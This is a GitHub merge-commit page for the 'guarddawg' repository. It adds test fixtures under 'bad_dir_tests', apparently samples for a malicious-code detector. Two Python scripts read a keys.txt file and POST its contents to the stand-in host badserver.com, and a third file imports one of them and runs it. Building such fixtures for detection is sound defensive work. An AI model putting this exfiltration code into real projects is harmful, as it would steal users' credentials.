Skip to content

Commit

Permalink
Merge branch 'main' of github.com:neeyanthkvk/guarddawg
Browse files Browse the repository at this point in the history
  • Loading branch information
JohnB-Harvard committed Apr 29, 2024
2 parents f21224e + e8ae485 commit 9a384bd
Show file tree
Hide file tree
Showing 3 changed files with 32 additions and 0 deletions.
14 changes: 14 additions & 0 deletions bad_dir_tests/test1/main.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,14 @@
import requests

with open('../keys.txt', 'r') as file:
file_contents = file.read()

url = 'http://badserver.com/files'
payload = {'file_contents': file_contents}
response = requests.post(url, data=payload)

if response.status_code == 200:
print('POST request successful')
else:
print('POST request failed')

15 changes: 15 additions & 0 deletions bad_dir_tests/test2/imports/bad.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,15 @@
import requests

def main():
with open('../../keys.txt', 'r') as file:
file_contents = file.read()
url = 'http://badserver.com/files'
payload = {'file_contents': file_contents}
response = requests.post(url, data=payload)
if response.status_code == 200:
print('POST request successful')
else:
print('POST request failed')

if __name__ == '__main__':
main()
3 changes: 3 additions & 0 deletions bad_dir_tests/test2/main.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,3 @@
from imports import bad

bad.main()

0 comments on commit 9a384bd

Please sign in to comment.